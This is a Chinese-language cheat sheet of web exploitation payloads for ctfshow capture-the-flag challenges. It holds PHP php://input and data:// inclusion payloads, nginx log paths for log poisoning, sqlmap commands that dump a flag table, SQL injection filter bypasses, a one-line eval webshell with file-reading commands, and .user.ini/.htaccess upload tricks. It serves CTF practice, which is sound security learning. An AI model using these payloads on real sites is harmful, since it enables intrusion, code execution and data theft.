ctfshow——web(总结&持续更新)

    # 查看当前目录下的文件
    # GET传参
    ?url=php://input
    # POST
    <?php system("ls");?>  
    
    
    bash

    ?url=data://text/plain,<?php system('ls');?> # 
    ?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ # <?php system('ls');?>的bash64加密形式
    
    
    bash

    # Linux
    /var/log/nginx/access.log # linux下，nginx访问日志文件默认路径
    
    # windows
    C:\Program Files\Nginx\logs\access.log # Windows下，nginx访问日志文件默认路径
    <Nginx安装目录>/logs/access.log# Windows下，nginx访问日志文件自定义安装路径
    
    
    bash

    python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
    python3 sqlmap.py -r test.txt --dbs  #--dbs选项是列出所有数据库名
    python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
    python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
    python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容
    
    # 使用--tamper脚本，将空格转换为内联注释符
    python3 sqlmap.py -r test.txt --tamper space2comment # 在存在sql注入漏洞的参数后面加*
    
    # 判断是否存在SQL注入
    python3 sqlmap.py -u https://98b59309-13c0-4091-9683-af3ebc38f310.challenge.ctf.show/index.php?id=1 -p "id" --tamper space2comment # -p指定参数
    
    
    bash
![](https://ad.itadn.com/c/weblog/blog-img/images/2025-07-12/8wIq2l3VMeGOL9FA0bgZkPXQEy1v.png)

    # . file = source file ,用bash执行file这个shell脚本文件
    . == source 
    
    # 执行系统命令
    `ls` = system('ls') 
    
    # php短标签
    <?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>
    
    # ?为通配符
    # +为空格
    
    
    bash
![](https://ad.itadn.com/c/weblog/blog-img/images/2025-07-12/WgziHMy8nEpZh4j5Aw7kK6PstYr1.png)

    # 空格被过滤
    username=1'or(true)#  # 用(true)代替1=1
    username=1'/**/or/**/1=1/**/#  # 用内联注释（/**/）代替空格
    
    ##经过测试过滤了空格，所以用内敛注释进行绕过
    id=1'/**/and/**/1=1/**/#      正常返回
    id=1'/**/and/**/1=2/**/#      数据未返回，存在SQL注入
    
    ##或者
    id=1'/**/and/**/(true)/**/#      正常返回
    id=1'/**/and/**/(false)/**/#      数据未返回，存在SQL注入
    
    ##或者
    id=1'/**/or/**/(false)#  返回一条数据
    id=1'/**/or/**/(true)#  返回当前表里的所有数据
    
    
    sh
![](https://ad.itadn.com/c/weblog/blog-img/images/2025-07-12/zcyCWU7oET2kOq5mgdYtM4I0VsnP.png)

    # 单引号被过滤
    双引号代替单引号
    
    
    sh

    # with rollup（虚拟表）绕过
    group by ：将结果集按照选择的字段进行排序，默认从小到大，不进行去重
    group by password with rollup：对password进行逻辑排序，同时会对所有数据进行汇总统计。
    
    
    sh

    ?cmd=phpinfo(); # 如果这能被执行，后端应该就是类似一句话木马的写法<?php @eval($_GET['cmd']);?>
    
    # 读取当前目录下的文件
    ?cmd=system('ls'); 
    ?cmd=print_r(scandir('./')); 
    ?cmd=print_r(glob("*"));
    
    # 读取文件内容
    ?cmd=highlight_file('x.php');
    ?cmd=show_source('x.php');
    
    
    bash
![](https://ad.itadn.com/c/weblog/blog-img/images/2025-07-12/9eNPzQFHA12vfxbMJniL8TsZaIWk.png)

        //.user.ini

        auto_prepend_file=1.png
        
        //1.png
        <?php phpinfo();?>
        
        //1.php(任意php文件)
        
        
        bash

   * `.htaccess`用法

        # .htaccess文件

        <FileMatch "shell.png">
        SetHandler application/x-httpd-php
        
        # shell.png
        <?php phpinfo();?>
        
        
        bash